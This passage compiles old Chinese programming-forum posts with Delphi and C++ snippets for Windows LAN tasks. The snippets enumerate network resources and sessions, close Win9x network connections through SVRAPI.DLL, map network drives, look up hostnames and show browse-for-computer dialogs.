lpnrLocal:=PNetResource(GlobalAlloc(GPTR,cbBuffer));

dwEnumResult:=WNetEnumResource(hEnum,

cEntries,

lpnrLocal,

cbBuffer);

if(dwEnumResult=NO_ERROR)then

begin

for i:=0 to cEntries-1 do

begin

nr:=(PNetResource(PChar(lpnrLocal)+sizeOf(NetResource)*i))^;

LocalNode:=AddTreeItem(nr,node);

if(RESOURCEUSAGE_CONTAINER=

nr.dwUsage and RESOURCEUSAGE_CONTAINER)then

begin

if(not EnumNetWorkResource(@nr,LocalNode))then

begin

ShowMessage('Error enum,Parent='+lpnr^.lpRemoteName);

ShowMessage(GetLastErrorText);

end;

end;

end;

end;

until (dwEnumResult=ERROR_NO_MORE_ITEMS);

if(dwEnumResult=ERROR_NO_MORE_ITEMS)then

Result:=True;

Except

GlobalFree(Cardinal(lpnrLocal));

WNetCloseEnum(hEnum);

Raise;

end;

GlobalFree(Cardinal(lpnrLocal));

WNetCloseEnum(hEnum);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

EnumNetWorkResource(nil,ResourceTree.Items[0]);

end;

function TForm1.AddTreeItem(nr: NETRESOURCE; node: TTreeNode): TTreeNode;

var

pnr:PNetResource;

begin

GetMem(pnr,SizeOf(NetResource));

pnr^:=nr;

Result:=ResourceTree.Items.AddChildObject(node,nr.lpRemoteName,pnr);

if(nr.dwUsage=RESOURCEUSAGE_CONTAINER)then

Result.ImageIndex:=0

else Result.ImageIndex:=1;

end;

procedure TForm1.ResourceTreeChange(Sender: TObject; Node: TTreeNode);

var

pnr:PNetResource;

begin

pnr:=PNetResource(Node.Data);

if(pnr=nil)then Exit;

case pnr^.dwScope of

RESOURCE_CONNECTED:

lbScope.Caption:='Connetted';

RESOURCE_GLOBALNET:

lbScope.Caption:='GlobalNet';

RESOURCE_REMEMBERED:

lbScope.Caption:='Remembered';

else

lbScope.Caption:='else scope:'+IntToStr(pnr^.dwScope);

end;

case pnr^.dwType of

RESOURCETYPE_DISK:

lbType.Caption:='Disk';

RESOURCETYPE_PRINT:

lbType.Caption:='Printer';

else

lbType.Caption:=IntToStr(pnr^.dwType);

end;

case pnr^.dwDisplayType of

RESOURCEDISPLAYTYPE_DOMAIN:

lbDisplayType.Caption:='Domain';

RESOURCEDISPLAYTYPE_GENERIC:

lbDisplayType.Caption:='Generic';

RESOURCEDISPLAYTYPE_SERVER:

lbDisplayType.Caption:='Server';

RESOURCEDISPLAYTYPE_SHARE:

lbDisplayType.Caption:='Shared';

else

lbDisplayType.Caption:='else type:'+IntToStr(pnr^.dwDisplayType);

end;

case pnr^.dwUsage of

RESOURCEUSAGE_CONTAINER:

lbUsage.Caption:='Container';

RESOURCEUSAGE_CONNECTABLE:

lbUsage.Caption:='Connectable';

else

lbUsage.Caption:='else Usage:'+IntToStr(pnr^.dwUsage);

end;

lbLocalName.Caption:=pnr^.lpLocalName;

lbRemoteName.Caption:=pnr^.lpRemoteName;

lbComment.Caption:=pnr^.lpComment;

lbProvider.Caption:=pnr^.lpProvider;

//ConnectResource(pnr);

end;

procedure TForm1.ConnectResource(pnr: PNetResource);

begin

if((pnr^.dwUsage and RESOURCEUSAGE_CONNECTABLE)

=RESOURCEUSAGE_CONNECTABLE)then

begin

{ if(WNetAddConnection2(pnr^,PChar(''),'wuwei',0)<>NO_ERROR)then

ShowMessage(GetLastErrorText);}

if(WNetAddConnection(pnr^.lpRemoteName,'','h:')<>NO_ERROR)then

ShowMessage(GetLastErrorText);

end;

end;

procedure TForm1.ToolButton2Click(Sender: TObject);

var

p:PNetResource;

begin

p:=PNetResource(ResourceTree.Selected.Data);

ConnectResource(p);

end;

end.

*******

查询局域网中NT服务器的计算机名

You should use API function

NET_API_STATUS NetServerEnum(

LPWSTR servername,

DWORD level,

LPBYTE *bufptr,

DWORD prefmaxlen,

LPDWORD entriesread,

LPDWORD totalentries,

DWORD servertype,

LPWSTR domain,

LPDWORD resume_handle

);


断开网络连接
有的时候，即使访问一下某台机器，然后断开了，但是对方的机器在关闭系统前还是要弹出一个窗口进行警告！如何去掉呢？

在WINDOWS95&WINDOWS98下如何关闭网络连接

黄 飞 <98/5/20>

一.问题提出:

每当你通过WINDOWS95或WINDOWS98访问"网上邻居"时,系统自动的建立了两

台机器之间的网络连接关系,但是在访问结束后,并不自动的断开网络连接,

所以有时我们关闭WINDOWS系统时,会弹出一个对话框,询问是否关闭网络连

接,在回答"YES"后,才真正开始关闭计算机.

程序员编制系统关闭程序时,就需要考虑这种情况,虽然SDK提供了关机的API:

ExitWindowsEx()和ExitWindows(),但实际应用中我发现,在指定FORCE关机时

在特定情况下会出问题.所以,必须想办法首先断开网络连接.

二.编程接口:

WINDOWS95及WINDOWS98提供的这方面的网络编程接口在SVRAPI.DLL中,利用它

我们可以列举出当前网络连接状态,控制或删除网络连接.WINDOWS附件中的

NETWATCH.EXE工具就是这样实现的.

也许您会问,NetAPI的详细说明在开发工具的SDK文档中很详细了,没有必要在

此演示.但是,在查寻了很多资料后,我不得不说:MSDN中有关NetAPI的部分说

明是错误的,至少是不完整而且含混不清的,可以说,依靠这些文档,你不能实

现全部的功能!下面的代码是本人自己分析得来,使用后,您会发现正确的应用

和文档说明有多么大的差距.

三.API声明:

关闭网络连接的实现方法分两步: 枚举出当前所有的网络连接状况; 依次

断开枚举出的网络连接.

1.枚举出当前所有的网络连接状况:

依照开发帮助文档,这个API是这样的:

NET_API_STATUS NetSessionEnum(

LPWSTR servername,

LPWSTR UncClientName,

LPWSTR username,

DWORD level,

LPBYTE *bufptr,

DWORD prefmaxlen,

LPDWORD entriesread,

LPDWORD totalentries,

LPDWORD resume_handle

);

但是,实际情况是,在WINDOWS95和WINDOWS98平台下,

这样调用根本就无法连接上库文件.真正的API声明应该是:

DWORD NetSessionEnum( LPSTR,

DWORD,

LPBYTE,

DWORD,

LPDWORD,

LPDWORD )

参数1: NULL表示枚举本机的网络连接

参数2: 不详.在枚举中是常量0x32.

参数3: 存放信息的缓冲区指针

参数4: 缓冲区长度

参数5: 指向返回连接个数

参数6: 指向总共连接个数

可见,参数个数完全不同,另外参数意义也发生了变化.

2.依次断开枚举出的网络连接:

还算幸运的是,断开网络连接的API声明是正确的:

NET_API_STATUS NetSessionDel(

LPWSTR servername,

LPWSTR UncClientName,

LPWSTR username );

不过要注意的是,第2个和第3个参数的内容需要

从枚举得到的缓冲区中去取.具体方法参见程序.

四.源代码:

以下是实现断开网络连接的子程序,你可以方便的把它们加入到自己的项目中

去,而不用和我一样浪费时间去研究到底怎样实现网络枚举了.

注:由于本程序只实际用到了一个SVRAPI.DLL中的函数声明,简便期间,我没有

用原有的头文件,自己定义一下就可以了.

///////////////////////////////////////////////////////////////////

// File: NetClose.H

// Version: 1.01

#define NETBUFF_SIZE 0x208

#define NetSessionEnum_PROFILE ( DWORD (__stdcall *) \par ( LPSTR, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD ) )

#define NetSessionDel_PROFILE ( DWORD (__stdcall *) \par ( LPSTR, LPSTR, DWORD ) )

///////////////////////////////////////////////////////////////////

// File: NetClose.CPP

// Version: 1.01

///////////////////////////////////////////////////////////////////

// Define: BOOL NetCloseAll( VOID )

// Parameters: None

// Return: TRUE or FALSE

//

// Author: Mr.Huang fei

// Time: 5/7/1998

// Note: Can only be used on Windows95 & Windows98

// Remark: Close all network connections

///////////////////////////////////////////////////////////////////

BOOL NetCloseAll( VOID )

{

BYTE byBuff[NETBUFF_SIZE];

DWORD dwNetRet = 0;;

DWORD i = 0;

DWORD dwEntries = 0;

DWORD dwTotalEntries = 0;

LPSTR szClient = NULL;

DWORD dwUserName = 0;

BOOL bRet = FALSE;

LPBYTE lpbyBuff = (LPBYTE)byBuff;

DWORD (__stdcall * hookNetSessionEnum)( LPSTR, DWORD, \par LPBYTE, DWORD, LPDWORD, LPDWORD );

DWORD (__stdcall * hookNetSessionDel)( LPSTR, LPSTR, DWORD );

HINSTANCE hMod = LoadLibrary( "SVRAPI.DLL" );

if( hMod != NULL )

{

// Get the address of function

hookNetSessionEnum = NetSessionEnum_PROFILE

GetProcAddress

( hMod, TEXT("NetSessionEnum") );

hookNetSessionDel = NetSessionDel_PROFILE

GetProcAddress

( hMod, TEXT("NetSessionDel") );

if( ( hookNetSessionDel != NULL ) &&

( hookNetSessionEnum != NULL ) )

{

dwNetRet = hookNetSessionEnum( NULL,

0x32, byBuff,

NETBUFF_SIZE, &dwEntries,

&dwTotalEntries );

if( dwNetRet == 0 )

{

bRet = TRUE;

for( i=0; i < dwTotalEntries; i++ )

{

szClient = (LPSTR)(((DWORD *)

lpbyBuff)[0]);

dwUserName = ((DWORD *)lpbyBuff)[2];

dwNetRet = hookNetSessionDel( NULL,

szClient, dwUserName );

if( dwNetRet != 0 )

{

bRet = FALSE;

break;

}

lpbyBuff += 26;

}

} // NetSessionEnum(...)

else

bRet = FALSE;

} // GetProcAddress(...)

else

bRet = FALSE;

FreeLibrary( hMod );

} // LoadLibrary(...)

return bRet;

}

五.总结:

以上是开发过程中的一点经验,希望对大家有所帮助,有不对的地方请谅解并

指出.另外,众所周知Microsoft的开发文档有相当一部分是未公开的,这些未

公开信息有时会给我们造成很大的困难,在此希望有类似体验的程序开发者

把自己的经验写出来,让后来者少走一些弯路.

************************

没有测试的。

const

NETBUFF_SIZE = $208;

type

NetSessionEnum = function(ServerName: LPSTR; Level: DWORD; Bufptr: PBYTE; MaxLen: DWORD; total: LPDWORD; resume_hwnd: LPDWORD): Dword; stdcall;

NetSessionDel = function(ServerName: LPSTR; ClientName: LPSTR; UserName: LPSTR): dword; stdcall;

function NetCloseAll: Boolean;

type

TbyBuff=array[0..NETBUFF_SIZE-1] of byte;

var

byBuff:TBybuff;

dwNetRet,i,dwEntries,dwTotalEntries:dword;

szClient:LPSTR;

dwUserName:LPSTR;

bRet:boolean;

lpbyBuff:^TbyBuff;

h:hwnd;

EnumProc:NetSessionEnum;

DelProc:NetSessionDel;

begin

h:=LoadLibrary('svrapi.dll');

lpbybuff:=@bybuff;

bRet:=false;

if h<>0 then

begin

EnumProc:=GetProcAddress(h,'NetSessionEnum');

DelProc:=GetprocAddress(h,'NetSessionDel');

if Assigned(EnumProc) and Assigned(DelProc) then

begin

dwNetRet:=EnumProc(nil,$32,@byBuff,NETBUFF_SIZE,@dwEntries,@dwTotalEntries);

if dwNetRet=0 then

begin

bRet:=true;

for i:=0 to dwTotalEntries-1 do

begin

szClient:=LPSTR(lpbybuff^[0]);

dwUserName:=LPSTR(LPbybuff^[2]);

dwNetRet:=DelProc(nil,szClient,dwUserName);

if dwNetRet<>0 then

begin

bRet:=false;

break;

end;

lpbybuff:=pointer(integer(lpbybuff)+26);

end;

end; //NetSessionEnum

end

else

bRet:=false;

end //GetProcAddress

else

bRet:=false;

FreeLibrary(h);

result:=bRet;

end;


取得Win95/98的网络邻居中的工作组及计算机名
triton 时间：00-4-7 21:40:51 ID:215229

可参考下面代码，或许有所帮助：

procedure GetDomainList(TV:TTreeView);

var

a : Integer;

ErrCode : Integer;

NetRes : Array[0..1023] of TNetResource;

EnumHandle : THandle;

EnumEntries : DWord;

BufferSize : DWord;

s : string;

itm : TTreeNode;

begin

{ Start here }

try

With NetRes[0] do begin

dwScope :=RESOURCE_GLOBALNET;

dwType :=RESOURCETYPE_ANY;

dwDisplayType :=RESOURCEDISPLAYTYPE_DOMAIN;

dwUsage :=RESOURCEUSAGE_CONTAINER;

lpLocalName :=NIL;

lpRemoteName :=NIL;

lpComment :=NIL;

lpProvider :=NIL;

end;

{ get net root }

ErrCode:=WNetOpenEnum(

RESOURCE_GLOBALNET,

RESOURCETYPE_ANY,

RESOURCEUSAGE_CONTAINER,

@NetRes[0],

EnumHandle

);

If ErrCode=NO_ERROR then begin

EnumEntries:=1;

BufferSize:=SizeOf(NetRes);

ErrCode:=WNetEnumResource(

EnumHandle,

EnumEntries,

@NetRes[0],

BufferSize

);

WNetCloseEnum(EnumHandle);

ErrCode:=WNetOpenEnum(

RESOURCE_GLOBALNET,

RESOURCETYPE_ANY,

RESOURCEUSAGE_CONTAINER,

@NetRes[0],

EnumHandle

);

EnumEntries:=1024;

BufferSize:=SizeOf(NetRes);

ErrCode:=WNetEnumResource(

EnumHandle,

EnumEntries,

@NetRes[0],

BufferSize

);

IF ErrCode=No_Error then with TV do try

a:=0;

Items.BeginUpDate;

Items.Clear;

Itm:=Items.Add(TV.Selected,string(NetRes[0].lpProvider));

Itm.ImageIndex:=0;

Itm.SelectedIndex:=0;

{ get domains }

下面的一个单元定义了一个组件. TNetworkBrowser, 可以枚举hierachical树上所有的网络资源. 实际上浏览是要花费很长时间的,这您可以通过在WINDOWS资源管理器中打开"整个网络" 来比较一下. 如果你设置SCOPE属性 为nsContext , 你就可以看到和网络邻居中一样的机器列表.

unit NetBrwsr;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TNetScope = (nsConnected, nsGlobal, nsRemembered, nsContext);

TNetResourceType = (nrAny, nrDisk, nrPrint);

TNetDisplay = (ndDomain, ndGeneric, ndServer, ndShare, ndFile, ndGroup,

ndNetwork, ndRoot, ndShareAdmin, ndDirectory, ndTree, ndNDSContainer);

TNetUsage = set of (nuConnectable, nuContainer);

TNetworkItems = class;

TNetworkItem = class

private

FScope: TNetScope;

FResourceType: TNetResourceType;

FDisplay: TNetDisplay;

FUsage: TNetUsage;

FLocalName: string;

FRemoteName: string;

FComment: string;

FProvider: string;

FSubItems: TNetworkItems;

public

constructor Create;

destructor Destroy; override;

property Scope: TNetScope read FScope;

property ResourceType: TNetResourceType read FResourceType;

property Display: TNetDisplay read FDisplay;

property Usage: TNetUsage read FUsage;

property LocalName: string read FLocalName;

property RemoteName: string read FRemoteName;

property Comment: string read FComment;

property Provider: string read FProvider;

property SubItems: TNetworkItems read FSubItems;

end;

TNetworkItems = class

private

FList: TList;

procedure SetItem(Index: Integer; Value: TNetworkItem);

function GetItem(Index: Integer): TNetworkItem;

function GetCount: Integer;

public

constructor Create;

destructor Destroy; override;

procedure Clear;

procedure Add(Item: TNetworkItem);

procedure Delete(Index: Integer);

property Items[Index: Integer]: TNetworkItem read GetItem write

SetItem; default;

property Count: Integer read GetCount;

end;

TNetworkBrowser = class(TComponent)

private

FItems: TNetworkItems;

FScope: TNetScope;

FResourceType: TNetResourceType;

FUsage: TNetUsage;

FActive: Boolean;

procedure Refresh;

procedure SetActive(Value: Boolean);

procedure SetScope(Value: TNetScope);

procedure SetResourceType(Value: TNetResourceType);

procedure SetUsage(Value: TNetUsage);

procedure EnumerateNet(NetItems: TNetworkItems; lpnr: PNetResource);

protected

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

procedure Open;

procedure Close;

property Items: TNetworkItems read FItems;

published

property Scope: TNetScope read FScope write SetScope default nsGlobal;

property ResourceType: TNetResourceType read FResourceType

write SetResourceType default nrAny;

property Usage: TNetUsage read FUsage write SetUsage default [];

property Active: Boolean read FActive write SetActive default False;

end;

implementation

type

PNetResourceArray = ^TNetResourceArray;

TNetResourceArray = array[0..0] of TNetResource;

{ TNetworkItem }

constructor TNetworkItem.Create;

begin

inherited;

FSubItems := TNetworkItems.Create;

end;

destructor TNetworkItem.Destroy;

begin

if FSubItems <> nil then

FSubItems.Free;

inherited;

end;

{ TNetworkItems }

constructor TNetworkItems.Create;

begin

inherited;

FList := TList.Create;

end;

destructor TNetworkItems.Destroy;

begin

Clear;

if FList <> nil then

FList.Free;

inherited;

end;

procedure TNetworkItems.SetItem(Index: Integer; Value: TNetworkItem);

begin

if (FList.Items[Index] <> nil) and (FList.Items[Index] <> Value) then

TNetworkItem(FList.Items[Index]).Free;

FList.Items[Index] := Value;

end;

function TNetworkItems.GetItem(Index: Integer): TNetworkItem;

begin

Result := TNetworkItem(FList.Items[Index]);

end;

procedure TNetworkItems.Clear;

begin

while Count > 0 do

Delete(0);

end;

procedure TNetworkItems.Add(Item: TNetworkItem);

begin

FList.Add(Item);

end;

procedure TNetworkItems.Delete(Index: Integer);

begin

if FList.Items[Index] <> nil then

TNetworkItem(FList.Items[Index]).Free;

FList.Delete(Index);

end;

function TNetworkItems.GetCount: Integer;

begin

if FList <> nil then

Result := FList.Count

else

Result := 0;

end;

{ TNetworkBrowser }

constructor TNetworkBrowser.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FItems := TNetworkItems.Create;

FScope := nsGlobal;

FResourceType := nrAny;

FUsage := [];

end;

destructor TNetworkBrowser.Destroy;

begin

if FItems <> nil then

FItems.Free;

inherited;

end;

procedure TNetworkBrowser.EnumerateNet(NetItems: TNetworkItems; lpnr:

PNetResource);

var

dwResult, dwResultEnum: Integer;

hEnum: THandle;

cbBuffer, cEntries, i: Integer;

nrArray: PNetResourceArray;

NewItem: TNetworkItem;

dwScope, dwType, dwUsage: Integer;

begin

cbBuffer := 16384;

cEntries := $FFFFFFFF;

case FScope of

nsConnected: dwScope := RESOURCE_CONNECTED;

nsGlobal: dwScope := RESOURCE_GLOBALNET;

nsRemembered: dwScope := RESOURCE_REMEMBERED;

nsContext: dwScope := RESOURCE_CONTEXT;

else

dwScope := RESOURCE_GLOBALNET;

end;

case FResourceType of

nrAny: dwType := RESOURCETYPE_ANY;

nrDisk: dwType := RESOURCETYPE_DISK;

nrPrint: dwType := RESOURCETYPE_PRINT;

else

dwType := RESOURCETYPE_ANY;

end;

dwUsage := 0;

if nuConnectable in FUsage then

dwUsage := dwUsage or RESOURCEUSAGE_CONNECTABLE;

if nuContainer in FUsage then

dwUsage := dwUsage or RESOURCEUSAGE_CONTAINER;

dwResult := WNetOpenEnum(dwScope, dwType, dwUsage, lpnr, hEnum);

if dwResult <> NO_ERROR then Exit;

GetMem(nrArray, cbBuffer);

repeat

dwResultEnum := WNetEnumResource(hEnum, cEntries, nrArray, cbBuffer);

if dwResultEnum = NO_ERROR then

for i := 0 to cEntries-1 do

begin

NewItem := TNetworkItem.Create;

case nrArray[i].dwScope of

RESOURCE_CONNECTED: NewItem.FScope := nsConnected;

RESOURCE_GLOBALNET: NewItem.FScope := nsGlobal;

RESOURCE_REMEMBERED: NewItem.FScope := nsRemembered;

RESOURCE_CONTEXT: NewItem.FScope := nsContext;

else

NewItem.FScope := nsGlobal;

end;

case nrArray[i].dwType of

RESOURCETYPE_ANY: NewItem.FResourceType := nrAny;

RESOURCETYPE_DISK: NewItem.FResourceType := nrDisk;

RESOURCETYPE_PRINT: NewItem.FResourceType := nrPrint;

else

NewItem.FResourceType := nrAny;

end;

case nrArray[i].dwDisplayType of

RESOURCEDISPLAYTYPE_GENERIC: NewItem.FDisplay := ndGeneric;

RESOURCEDISPLAYTYPE_DOMAIN: NewItem.FDisplay := ndDomain;

RESOURCEDISPLAYTYPE_SERVER: NewItem.FDisplay := ndServer;

RESOURCEDISPLAYTYPE_SHARE: NewItem.FDisplay := ndShare;

RESOURCEDISPLAYTYPE_FILE: NewItem.FDisplay := ndFile;

RESOURCEDISPLAYTYPE_GROUP: NewItem.FDisplay := ndGroup;

RESOURCEDISPLAYTYPE_NETWORK: NewItem.FDisplay := ndNetwork;

RESOURCEDISPLAYTYPE_ROOT: NewItem.FDisplay := ndRoot;

RESOURCEDISPLAYTYPE_SHAREADMIN: NewItem.FDisplay :=

ndShareAdmin;

RESOURCEDISPLAYTYPE_DIRECTORY: NewItem.FDisplay :=

ndDirectory;

RESOURCEDISPLAYTYPE_TREE: NewItem.FDisplay := ndTree;

RESOURCEDISPLAYTYPE_NDSCONTAINER: NewItem.FDisplay :=

ndNDSContainer;

else

NewItem.FDisplay := ndGeneric;

end;

NewItem.FUsage := [];

if nrArray[i].dwUsage and RESOURCEUSAGE_CONNECTABLE <> 0 then

Include(NewItem.FUsage, nuConnectable);

if nrArray[i].dwUsage and RESOURCEUSAGE_CONTAINER <> 0 then

Include(NewItem.FUsage, nuContainer);

NewItem.FLocalName := StrPas(nrArray[i].lpLocalName);

NewItem.FRemoteName := StrPas(nrArray[i].lpRemoteName);

NewItem.FComment := StrPas(nrArray[i].lpComment);

NewItem.FProvider := StrPas(nrArray[i].lpProvider);

NetItems.Add(NewItem);

// if container, call recursively

if (nuContainer in NewItem.FUsage) and (FScope <> nsContext) then

EnumerateNet(NewItem.FSubItems, @nrArray[i])

end;

until dwResultEnum = ERROR_NO_MORE_ITEMS;

FreeMem(nrArray);

WNetCloseEnum(hEnum);

end;

procedure TNetworkBrowser.Refresh;

begin

FItems.Clear;

if FActive then

EnumerateNet(FItems, nil);

end;

procedure TNetworkBrowser.SetActive(Value: Boolean);

begin

if Value <> FActive then

begin

FActive := Value;

Refresh;

end;

end;

procedure TNetworkBrowser.SetScope(Value: TNetScope);

begin

if Value <> FScope then

begin

FScope := Value;

Refresh;

end;

end;

procedure TNetworkBrowser.SetResourceType(Value: TNetResourceType);

begin

if Value <> FResourceType then

begin

FResourceType := Value;

Refresh;

end;

end;

procedure TNetworkBrowser.SetUsage(Value: TNetUsage);

begin

if Value <> FUsage then

begin

FUsage := Value;

Refresh;

end;

end;

procedure TNetworkBrowser.Open;

begin

Active := True;

end;

procedure TNetworkBrowser.Close;

begin

Active := False;

end;

end.


映射网络驱动器
procedure TForm1.Button1Click(Sender: Tobject);

var

NetR :NETRESOURCE;ErrInfo : Longint;

begin

NetR.dwScope := RESOURCE_GLOBALNET;

NetR.dwType := RESOURCETYPE_DISK;

NetR.dwDisplayType := RESOURCEDISPLAYTYPE_SHARE;

NetR.dwUsage := RESOURCEUSAGE_CONNECTABLE;

NetR.lpLocalName := 'j:';

NetR.lpRemoteName := '\Lifang';

ErrInfo := WNetAddConnection2(NetR, '', '', CONNECT_UPDATE_PROFILE);

If ErrInfo = NO_ERROR Then

messagebox(0,'Net connection successful!','',0)

Else

messagebox(0,'ERROR: ','',0);

end;

断开映射网络驱动器

procedure TForm1.Button2Click(Sender: Tobject);

var

ErrInfo : Longint;

strLocalName : pchar;

begin

strLocalName:='j:';

ErrInfo := WNetCancelConnection2(strLocalName, CONNECT_UPDATE_PROFILE,False);

If ErrInfo = NO_ERROR Then

messagebox(0,'Net disconnection successful!','',0)

Else

messagebox(0,'ERROR','',0);

end;


如何取得局域网内的计算机名？
Function GetNameByIP(MIP:string; var Name:string):boolean;

var

PHt:PHostEnt;

WSData: TWSAData;

i:Word;

j:integer;

k:u_long;

begin

result:=false;

i:=MAKEWORD(1,1);

if WSAStartup(i,WSData)<>0 then exit;

k:=inet_addr(PChar(MIP));

PHt:=gethostbyaddr(@k,4,PF_INET);

if PHt=nil then begin

j:=WSAGetLastError;

Name:='Error:'+inttostr(j-WSABASEERR);

end else begin

Name:=PHt.h_name;

result:=true;

end;

WSACleanup;

end;


调用网上邻居搜查在线电脑的API函数
Try to use it

//

// Display a dialog box allowing the user to choose a computer (not a drive,

// printer, etc. but just a computer in the network).

//

// Args: parent window (usually TForm.Handle)

// caption to display on the dialog box, e.g. Choose Cache Server

//

// Returns: computer chosen

// empty string on error or no computer chosen

//

function ChooseComputer(parent_window: HWND; caption: String): String;

begin

Result:=NetworkBrowsing(parent_window, caption, BIF_BROWSEFORCOMPUTER);

end;

//

// Display a dialog box allowing the user to choose a share on a network

//

// Args: parent window (usually TForm.Handle)

// caption to display on the dialog box, e.g. Choose share

//

// Returns: share chosen

// empty string on error or no share chosen

//

function ChooseShare(parent_window: HWND; caption: String): String;

begin

Result:=NetworkBrowsing(parent_window, caption, BIF_RETURNONLYFSDIRS);

end;

//

// Display a dialog box allowing the user to choose a computer, network drive,

// etc.

//

// Args: parent window (usually TForm.Handle)

// caption to display on the dialog box, e.g. Choose Cache Server

// what to browse for (e.g. BIF_BROWSEFORCOMPUTER for computers)

//

// Returns: computer chosen

// empty string on error or no computer chosen

//

// Note: typical browse_for values are

//

// BIF_RETURNONLYFSDIRS for networked folders

// BIF_BROWSEFORCOMPUTER for computers

//

function NetworkBrowsing(parent_window: HWND; caption: String; browse_for: Integer): String;

var lpbi: _browseInfo;

dn: String;

idlist: ITEMIDLIST;

ridlist: PITEMIDLIST;

ppMalloc: IMalloc;

begin

try

// Get pointer to network root

SHGetSpecialFolderLocation(parent_window, CSIDL_NETWORK, PITEMIDLIST(idlist));

// Initialise & display dialog box

lpbi.hwndOwner:=parent_window;

lpbi.pidlRoot:=PITEMIDLIST(idlist);

SetLength(dn, 255);

lpbi.pszDisplayName:=PChar(dn);

lpbi.lpszTitle:=PChar(caption);

lpbi.ulFlags:=browse_for;

lpbi.lpfn:=nil;

ridlist:=SHBrowseForFolder(lpbi);

// Store the resuls

{xxx

if browse_for <> BIF_BROWSEFORCOMPUTER then begin

// Return the complete network path

SetLength(Result, 255);

SHGetPathFromIDList(ridlist, PChar(Result));

end else

}

// Return only the name of the 'thing' selected

Result:=lpbi.pszDisplayName;

// Free memory

if ridlist=nil then

Result:=''

else begin

SHGetMalloc(ppMalloc);

ppMalloc.Free(ridlist);

end;

except

// Oops

Result:='';

end;

end;

回复人：tibetty(2000-10-5 14:45:00) 得0分

我也要，请发到； tibetty99@etang.com 谢了

回复人：tibetty(2000-10-5 14:48:00) 得0分

我也要，请发到； tibetty99@etang.com 谢了

回复人：Lionheart(2000-10-6 0:11:00) 得0分

试试看

//

// Display a dialog box allowing the user to choose a computer, network drive,

// etc.

//

// Args: parent window (usually TForm.Handle)

// caption to display on the dialog box, e.g. Choose Cache Server

// what to browse for (e.g. BIF_BROWSEFORCOMPUTER for computers)

//

// Returns: computer chosen

// empty string on error or no computer chosen

//

// Note: typical browse_for values are

//

// BIF_RETURNONLYFSDIRS for networked folders

// BIF_BROWSEFORCOMPUTER for computers

//

function NetworkBrowsing(parent_window: HWND; caption: String; browse_for: Integer): String;

var

lpbi: _browseInfo;

dn: String;

idlist: ITEMIDLIST;

ridlist: PITEMIDLIST;

ppMalloc: IMalloc;

begin

try

// Get pointer to network root

SHGetSpecialFolderLocation(parent_window, CSIDL_NETWORK, PITEMIDLIST(idlist));

// Initialise & display dialog box

lpbi.hwndOwner:=parent_window;

lpbi.pidlRoot:=PITEMIDLIST(idlist);

SetLength(dn, 255);

lpbi.pszDisplayName:=PChar(dn);

lpbi.lpszTitle:=PChar(caption);

lpbi.ulFlags:=browse_for;

lpbi.lpfn:=nil;

ridlist:=SHBrowseForFolder(lpbi);

// Store the resuls

{xxx

if browse_for <> BIF_BROWSEFORCOMPUTER then begin

// Return the complete network path

SetLength(Result, 255);

SHGetPathFromIDList(ridlist, PChar(Result));

end else

}

// Return only the name of the 'thing' selected

Result:=lpbi.pszDisplayName;

// Free memory

if ridlist=nil then

Result:=''

else begin

SHGetMalloc(ppMalloc);

ppMalloc.Free(ridlist);

end;

except

// Oops

Result:='';

end;

end;

//

// Display a dialog box allowing the user to choose a computer (not a drive,

// printer, etc. but just a computer in the network).

//

// Args: parent window (usually TForm.Handle)

// caption to display on the dialog box, e.g. Choose Cache Server

//

// Returns: computer chosen

// empty string on error or no computer chosen

//

function ChooseComputer(parent_window: HWND; caption: String): String;

begin

Result:=NetworkBrowsing(parent_window, caption, BIF_BROWSEFORCOMPUTER);

end;

//

// Display a dialog box allowing the user to choose a share on a network

//

// Args: parent window (usually TForm.Handle)

// caption to display on the dialog box, e.g. Choose share

//

// Returns: share chosen

// empty string on error or no share chosen

//

function ChooseShare(parent_window: HWND; caption: String): String;

begin

Result:=NetworkBrowsing(parent_window, caption, BIF_RETURNONLYFSDIRS);

end;


如何知道有哪些计算机与自己的电脑连接
在WIN关闭时，往往计算机会提示有哪些计算机与你的电脑连接，那么如何通过程序知道

有哪些计算机与自己的电脑连接？

bbkxjy, 时间：2001-5-31 20:23:57, ID：549334

以前回答过类似的问题，这次又可以骗分了，;)

const

MaxNetArrayItems = 512;

type

TSessionInfo50 = packed record

sesi50_cname: PChar; //remote computer name (connection id in Netware)

sesi50_username: PChar;

sesi50_key: DWORD; // used to delete session (not used in Netware)

sesi50_num_conns: Word;

sesi50_num_opens: Word; //not available in Netware

sesi50_time: DWORD;

sesi50_idle_time: DWORD; //not available in Netware

sesi50_protocol: Char;

padl: Char;

end;

TNetSessionEnum = function (const pszServer: PChar; sLevel: SmallInt;

pbBuffer: Pointer; cbBuffer: Word; var pcEntriesRead: Word;

var pcTotalAvail: Word): DWORD; stdcall;

procedure GetNetSessions(ComputerNames: TStrings);

var

SessionInfo: array[0..MaxNetArrayItems] of TSessionInfo50;

EntriesRead, TotalAvail: Word;

I: Integer;

Str: string;

NetSessionEnum: TNetSessionEnum;

LibHandle: THandle;

begin

ComputerNames.Clear;

LibHandle := LoadLibrary('SVRAPI.DLL');

if LibHandle <> 0 then

begin

try

@NetSessionEnum := GetProcAddress(LibHandle, 'NetSessionEnum');

if (@NetSessionEnum <> nil) then

if NetSessionEnum(nil, 50, @SessionInfo, Sizeof(SessionInfo), EntriesRead, TotalAvail) = 0 then

begin

for I := 0 to EntriesRead - 1 do

with SessionInfo[I] do

begin

SetString(Str, sesi50_cname, StrLen(sesi50_cname));

ComputerNames.Add(Str);

end;

end;

finally

FreeLibrary(LibHandle);

end;

end;

end;

连接的计算机名存放在 ComputerNames 中，可以在 Win9x 下使用。


浏览计算机
浏览计算机

uses

ShlObj, ActiveX;

function BrowseComputer(DialogTitle: string; var CompName: string;

bNewStyle: Boolean): Boolean;

// bNewStyle: If True, this code will try to use the "new"

// BrowseForFolders UI on Windows 2000/XP

const

BIF_USENEWUI = 28;

var

BrowseInfo: TBrowseInfo;

ItemIDList: PItemIDList;

ComputerName: array[0..MAX_PATH] of Char;

Title: string;

WindowList: Pointer;

ShellMalloc: IMalloc;

begin

if Failed(SHGetSpecialFolderLocation(Application.Handle, CSIDL_NETWORK, ItemIDList)) then

raise Exception.Create('Unable open browse computer dialog');

try

FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);

